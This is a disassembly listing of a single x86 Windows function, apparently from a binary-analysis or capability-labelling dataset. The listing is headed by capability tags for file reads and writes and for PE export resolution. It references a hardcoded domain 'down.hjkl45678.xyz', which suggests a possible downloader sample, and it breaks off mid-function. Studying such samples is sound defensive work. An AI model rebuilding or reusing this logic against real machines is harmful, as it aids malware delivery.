Function at 0x40c330
Capabilities:
Check if file exists
Get file size
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x42a689
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x10c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x11c]
mov edi, ecx
mov esi, edx
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
add eax, 0x10
mov dword [esp + 0x38], eax
mov dword [esp + 0x114], 0
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x114], 1
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0x114], 2
test esi, esi
jne 0x40c3cd
xor eax, eax
jmp 0x40c3e1
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c3d2
sub eax, edx
sar eax, 1
mov ebx, eax
push esi
lea eax, [esp + 0x3c]
call fcn.00401470
test edi, edi
jne 0x40c3f5
xor eax, eax
jmp 0x40c40f
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c400
sub eax, edx
sar eax, 1
mov ebx, eax
push edi
lea eax, [esp + 0x38]
call fcn.00401470
test ebp, ebp
jne 0x40c423
xor eax, eax
jmp 0x40c43f
mov eax, ebp
lea edx, [eax + 2]
jmp 0x40c430
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c430
sub eax, edx
sar eax, 1
mov ebx, eax
push ebp
lea eax, [esp + 0x6c]
call fcn.00401470
xor eax, eax
mov dword [esp + 0xd4], eax
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov byte [esp + 0x114], 4
mov dword [esp + 0x3c], eax
push 4
call fcn.00419e96
xor ecx, ecx
add esp, 4
cmp eax, ecx
je 0x40c49f
lea edx, [esp + 0x6c]
mov dword [eax], edx
jmp 0x40c4a1
xor eax, eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x78], ecx
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], ecx
mov byte [esp + 0x114], 6
mov dword [esp + 0x4c], ecx
mov esi, ecx
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
lea ebp, [eax + 0x10]
mov dword [esp + 0x28], ebp
cmp esi, 2
mov byte [esp + 0x114], 7
jge 0x40c58a
mov edx, dword [esi*4 + 0x440e2c]
lea ecx, [esp + 0xbc]
call fcn.00416e50
mov byte [esp + 0x114], 8
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [ebp - 0x10]
cmp eax, esi
je 0x40c556
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40c545
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c545
call fcn.00401510
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40c53c
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea ebp, [ebx + 0x10]
mov dword [esp + 0x28], ebp
jmp 0x40c556
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x2c]
call fcn.00401470
mov ebp, dword [esp + 0x28]
mov byte [esp + 0x114], 7
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c700
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40c700
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
mov byte [esp + 0x114], 9
mov edx, dword [esi*4 + 0x440e2c]
lea ecx, [esp + 0xd0]
call fcn.00416e50
mov byte [esp + 0x114], 0xa
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [edi - 0x10]
cmp eax, esi
je 0x40c616
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x40c605
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c605
call fcn.00401510
mov edi, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x40c5fc
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add edi, 0x10
mov dword [esp + 0x18], edi
jmp 0x40c616
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x1c]
call fcn.00401470
mov edi, dword [esp + 0x18]
mov byte [esp + 0x114], 9
mov eax, dword [esp + 0xd0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c641
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x38]
push edi
push ecx
lea edx, [esp + 0xd4]
push edx
call fcn.0040a390
add esp, 0xc
mov byte [esp + 0x114], 0xb
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [ebp - 0x10]
cmp eax, esi
je 0x40c6b1
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x40c6a0
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c6a0
call fcn.00401510
mov ebp, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x40c697
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x28], ebp
jmp 0x40c6b1
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x2c]
call fcn.00401470
mov ebp, dword [esp + 0x28]
mov byte [esp + 0x114], 9
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c6dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add edi, 0xfffffff0
mov byte [esp + 0x114], 7
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c700
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov esi, dword [esp + 0x7c]
mov ebx, dword [esp + 0x78]
mov eax, esi
sub eax, ebx
xor edi, edi
sar eax, 2
mov dword [esp + 0x24], edi
cmp eax, edi
jbe 0x40c798
xor ecx, ecx
cmp ebp, edi
setne cl
mov dword [esp + 0x18], ecx
cmp edi, eax
jb 0x40c735
call fcn.00419e01
mov esi, dword [esp + 0x7c]
mov ebx, dword [esp + 0x78]
cmp dword [esp + 0x18], 0
je 0x40d49f
mov eax, dword [ebx + edi*4]
mov ecx, ebp
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c76b
test dx, dx
je 0x40c767
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c76b
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c745
xor eax, eax
jmp 0x40c770
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x40c781
mov dword [esp + 0x24], 1
mov eax, esi
sub eax, ebx
inc edi
sar eax, 2
cmp edi, eax
jb 0x40c735
cmp dword [esp + 0x24], 0
jne 0x40d3da
test ebx, ebx
jne 0x40c7a0
xor eax, eax
jmp 0x40c7ac
mov eax, dword [esp + 0x80]
sub eax, ebx
sar eax, 2
mov edx, esi
sub edx, ebx
sar edx, 2
cmp edx, eax
jae 0x40c7e5
mov ecx, dword [esp + 0x20]
mov byte [esp + 0xc8], 0
mov eax, dword [esp + 0xc8]
push eax
push ecx
lea edx, [esp + 0x30]
push edx
push 1
push esi
call fcn.0040f420
add esp, 0x14
add esi, 4
mov dword [esp + 0x7c], esi
jmp 0x40c80a
cmp ebx, esi
jbe 0x40c7ee
call fcn.00419e01
mov eax, dword [esp + 0x6c]
push esi
push eax
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x104]
push ecx
lea eax, [esp + 0x7c]
call fcn.0040e810
push 4
call fcn.00419e96
xor ecx, ecx
add esp, 4
cmp eax, ecx
je 0x40c822
lea edx, [esp + 0x50]
mov dword [eax], edx
jmp 0x40c824
xor eax, eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ecx
mov byte [esp + 0x114], 0xd
mov dword [esp + 0x48], ecx
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
mov eax, dword [esp + 0x48]
mov byte [esp + 0x114], 0xe
test eax, eax
jne 0x40c991
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0xc4]
push eax
call fcn.00403020
mov byte [esp + 0x114], 0xf
mov eax, dword [eax]
push eax
lea ecx, [esp + 0xbc]
push ecx
call fcn.00405450
add esp, 8
mov byte [esp + 0x114], 0x10
mov edi, dword [eax]
test edi, edi
je 0x40c8fe
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
mov esi, eax
dec esi
test esi, esi
jle 0x40c8fe
mov eax, dword [ebp - 8]
mov ecx, 1
sub ecx, dword [ebp - 4]
sub eax, esi
or eax, ecx
jge 0x40c8de
mov ecx, esi
lea eax, [esp + 0x1c]
call fcn.004015f0
mov ebp, dword [esp + 0x1c]
push esi
push ebp
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
cmp esi, dword [ebp - 8]
jg 0x40d4a9
xor edx, edx
mov dword [ebp - 0xc], esi
mov word [ebp + esi*2], dx
jmp 0x40c952
cmp dword [ebp - 0xc], 0
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
je 0x40c952
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40c92c
cmp dword [ebp - 8], 0
jl 0x40d4a9
xor eax, eax
mov dword [ebp - 0xc], 0
mov word [ebp], ax
jmp 0x40c952
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c942
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x114], 0xf
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c97d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0xe
mov eax, dword [esp + 0xc4]
jmp 0x40cbfa
cmp eax, 1
jne 0x40cb11
mov esi, dword [esp + 0x28]
push eax
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov ebx, esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40c9cd
cmp eax, dword [esi]
jne 0x40c9cd
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40ca08
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d51c
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00419425
add esp, 0x10
lea ecx, [esp + 0xc8]
add edi, 0x10
push ecx
mov dword [ebx], edi
call fcn.0040ac30
add esp, 0xc
mov byte [esp + 0x114], 0x11
mov edi, dword [eax]
test edi, edi
je 0x40ca97
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
mov esi, eax
dec esi
test esi, esi
jle 0x40ca97
mov ecx, dword [ebp - 8]
mov eax, 1
sub eax, dword [ebp - 4]
sub ecx, esi
or eax, ecx
jge 0x40ca65
mov ecx, esi
lea eax, [esp + 0x1c]
call fcn.004015f0
mov ebp, dword [esp + 0x1c]
push esi
push ebp
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
cmp esi, dword [ebp - 8]
jg 0x40d4a9
mov dword [ebp - 0xc], esi
xor edx, edx
mov word [ebp + esi*2], dx
mov byte [esp + 0x114], 0xe
mov eax, dword [esp + 0xc0]
jmp 0x40cbfa
cmp dword [ebp - 0xc], 0
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
je 0x40cafd
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40cad7
cmp dword [ebp - 8], 0
jl 0x40d4a9
xor eax, eax
mov dword [ebp - 0xc], 0
mov word [ebp], ax
mov byte [esp + 0x114], 0xe
mov eax, dword [esp + 0xc0]
jmp 0x40cbfa
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40caed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x114], 0xe
mov eax, dword [esp + 0xc0]
jmp 0x40cbfa
cmp eax, 2
jne 0x40cc16
lea ecx, [esp + 0x84]
push str.down.hjkl45678.xyz
push ecx
call fcn.00405450
add esp, 8
mov byte [esp + 0x114], 0x12
mov edi, dword [eax]
test edi, edi
je 0x40cb97
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
mov esi, eax
dec esi
test esi, esi
jle 0x40cb97
mov eax, dword [ebp - 8]
mov ecx, 1
sub ecx, dword [ebp - 4]
sub eax, esi
or eax, ecx
jge 0x40cb77
mov ecx, esi
lea eax, [esp + 0x1c]
call fcn.004015f0
mov ebp, dword [esp + 0x1c]
push esi
push ebp
push 0xffffffffffffffff
push edi
push 0
push 3
call ebx
cmp esi, dword [ebp - 8]
jg 0x40d4a9
xor edx, edx
mov dword [ebp - 0xc], esi
mov word [ebp + esi*2], dx
jmp 0x40cbeb
cmp dword [ebp - 0xc], 0
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
je 0x40cbeb
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40cbc5
cmp dword [ebp - 8], 0
jl 0x40d4a9
xor eax, eax
mov dword [ebp - 0xc], 0
mov word [ebp], ax
jmp 0x40cbeb
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cbdb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x114], 0xe
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cc16
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 4
call fcn.00419e96
xor esi, esi
add esp, 4
cmp eax, esi
je 0x40cc31
lea ecx, [esp + 0x88]
mov dword [eax], ecx
jmp 0x40cc33
xor eax, eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x94], esi
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], esi
cmp dword [esp + 0x48], 3
mov byte [esp + 0x114], 0x14
jne 0x40cc70
lea edx, [esp + 0x88]
push edx
call fcn.0040bcd0
add esp, 4
jmp 0x40cc8d
xor ecx, ecx
push ecx
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10c]
push ecx
lea eax, [esp + 0x98]
call fcn.0040e810
mov edx, dword [esp + 0x98]
mov ecx, dword [esp + 0x94]
mov eax, edx
sub eax, ecx
sar eax, 2
mov dword [esp + 0x24], esi
cmp eax, esi
jbe 0x40d2af
mov edi, dword [esp + 0x5c]
jmp 0x40ccb8
mov esi, dword [esp + 0x24]
cmp esi, eax
jb 0x40cccc
call fcn.00419e01
mov edi, dword [esp + 0x5c]
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx + esi*4]
lea esi, [eax - 0x10]
lea ebx, [ebp - 0x10]
cmp esi, ebx
je 0x40cd81
cmp dword [ebx + 0xc], 0
lea ebp, [ebx + 0xc]
jl 0x40cd6c
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x40cd6c
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40cd11
cmp eax, dword [esi]
jne 0x40cd11
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40cd4c
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d51c
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00419425
add esp, 0x10
or ecx, 0xffffffff
lock xadd dword [ebp], ecx
dec ecx
test ecx, ecx
jg 0x40cd63
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebx
call eax
lea ebp, [edi + 0x10]
mov dword [esp + 0x1c], ebp
jmp 0x40cd7d
mov ebx, dword [eax - 0xc]
push eax
lea eax, [esp + 0x20]
call fcn.00401470
mov ebp, dword [esp + 0x1c]
mov edi, dword [esp + 0x5c]
mov eax, dword [esp + 0x60]
sub eax, edi
sar eax, 2
xor ebx, ebx
xor esi, esi
test eax, eax
jbe 0x40ce13
xor ecx, ecx
test ebp, ebp
setne cl
mov dword [esp + 0x18], ecx
cmp esi, eax
jb 0x40cdae
call fcn.00419e01
mov edi, dword [esp + 0x5c]
cmp dword [esp + 0x18], 0
je 0x40d49f
mov eax, dword [edi + esi*4]
mov ecx, ebp
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40cde6
test dx, dx
je 0x40cde2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40cde6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40cdc0
xor eax, eax
jmp 0x40cdeb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x40cdf9
mov ebx, 1
mov eax, dword [esp + 0x60]
sub eax, edi
inc esi
sar eax, 2
cmp esi, eax
jb 0x40cdae
test ebx, ebx
jne 0x40d285
mov ebp, dword [esp + 0x1c]
test edi, edi
jne 0x40ce1b
xor eax, eax
jmp 0x40ce24
mov eax, dword [esp + 0x64]
sub eax, edi
sar eax, 2
mov esi, dword [esp + 0x60]
mov edx, esi
sub edx, edi
sar edx, 2
cmp edx, eax
jae 0x40ce5b
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x44], 0
mov eax, dword [esp + 0x44]
push eax
push ecx
lea edx, [esp + 0x24]
push edx
push 1
push esi
call fcn.0040f420
add esp, 0x14
add esi, 4
mov dword [esp + 0x60], esi
jmp 0x40ce80
cmp edi, esi
jbe 0x40ce64
call fcn.00419e01
mov eax, dword [esp + 0x50]
push esi
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xfc]
push ecx
lea eax, [esp + 0x60]
call fcn.0040e810
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
lea esi, [ebp - 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40cea7
cmp eax, dword [esi]
jne 0x40cea7
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40cee2
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d51c
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.00419425
add esp, 0x10
add edi, 0x10
mov dword [esp + 0x18], edi
lea edx, [esp + 0xd4]
push edx
mov byte [esp + 0x118], 0x15
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
push edi
push ebp
push eax
call fcn.0040b050
mov ebx, eax
lea eax, [edi - 0x10]
add esp, 0x10
mov byte [esp + 0x114], 0x14
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cf36
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
test ebx, ebx
je 0x40d179
mov byte [esp + 0x114], 0x16
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40cf80
cmp eax, dword [esi]
jne 0x40cf80
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40cfbb
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d51c
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00419425
add esp, 0x10
lea esi, [edi + 0x10]
mov dword [esp + 0x2c], esi
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
mov eax, dword [esp + 0x3c]
push esi
push ebp
push ecx
push edx
push eax
push str._d__d__d__s___s_ok
lea edi, [esp + 0x30]
mov byte [esp + 0x12c], 0x17
call fcn.004016f0
lea eax, [esi - 0x10]
add esp, 0x18
mov byte [esp + 0x114], 0x16
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d010
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x1c]
call fcn.00403020
push 0x42cf84
mov byte [esp + 0x118], 0x18
mov esi, dword [eax]
push 0x4420d8
mov edx, 1
call fcn.00403d60
test esi, esi
jne 0x40d044
xor eax, eax
jmp 0x40d059
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d050
sub eax, edx
push esi
push 0x4420d8
mov edx, eax
call fcn.00403d60
mov byte [esp + 0x114], 0x16
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d08e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x38]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
lea ebx, [esp + 0xa8]
mov dword [esp + 0x30], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40d0c7
cmp eax, dword [esi]
jne 0x40d0c7
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d102
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d51c
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00419425
add esp, 0x10
lea ecx, [esp + 0x34]
add edi, 0x10
push ecx
mov dword [ebp], edi
call fcn.00408fb0
mov byte [esp + 0x11c], 0x19
mov eax, dword [eax]
push eax
lea edx, [esp + 0xe0]
push edx
mov ecx, ebx
call fcn.0040b3c0
mov esi, eax
mov byte [esp + 0x124], 0x16
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x2c], esi
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d15d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40d4b3
mov byte [esp + 0x114], 0x14
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
jmp 0x40d268
mov bl, 0x1a
mov eax, esi
mov byte [esp + 0x114], bl
call fcn.00401510
lea esi, [eax + 0x10]
mov dword [esp + 0xe4], esi
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
mov eax, dword [esp + 0x3c]
push esi
push ebp
push ecx
push edx
push eax
push str._d__d__d__s___s_err
lea edi, [esp + 0x30]
mov byte [esp + 0x12c], 0x1b
call fcn.004016f0
lea eax, [esi - 0x10]
add esp, 0x18
mov byte [esp + 0x114], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d1e0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x20]
push ecx
mov ecx, edi
call fcn.00403020
push 0x42cf84
mov byte [esp + 0x118], 0x1c
mov esi, dword [eax]
push 0x4420d8
mov edx, 1
call fcn.00403d60
test esi, esi
jne 0x40d216
xor eax, eax
jmp 0x40d229
mov eax, esi
lea edx, [eax + 1]
jmp 0x40d220
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d220
sub eax, edx
push esi
push 0x4420d8
mov edx, eax
call fcn.00403d60
mov byte [esp + 0x114], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d25d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x14
lea eax, [edi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d281
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x5c]
mov edx, dword [esp + 0x98]
mov ecx, dword [esp + 0x94]
mov esi, dword [esp + 0x24]
mov ebp, dword [esp + 0x1c]
mov eax, edx
sub eax, ecx
inc esi
sar eax, 2
mov dword [esp + 0x24], esi
cmp esi, eax
jb 0x40ccb4
xor ebx, ebx
mov byte [esp + 0x114], 0xe
cmp ecx, ebx
je 0x40d2fa
mov edi, edx
mov esi, ecx
cmp ecx, edx
je 0x40d2f1
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d2e3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d2c5
mov ecx, dword [esp + 0x94]
push ecx
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x88]
push ecx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
call fcn.00419049
lea eax, [ebp - 0x10]
add esp, 4
mov byte [esp + 0x114], 0xd
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d343
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x48]
inc eax
cmp eax, 3
mov dword [esp + 0x48], eax
jle 0x40c840
mov byte [esp + 0x114], 7
mov esi, dword [esp + 0x5c]
xor ebx, ebx
cmp esi, ebx
je 0x40d3a3
mov eax, dword [esp + 0x60]
mov edi, eax
cmp esi, eax
je 0x40d39a
mov eax, dword [esi]
sub eax, 0x10
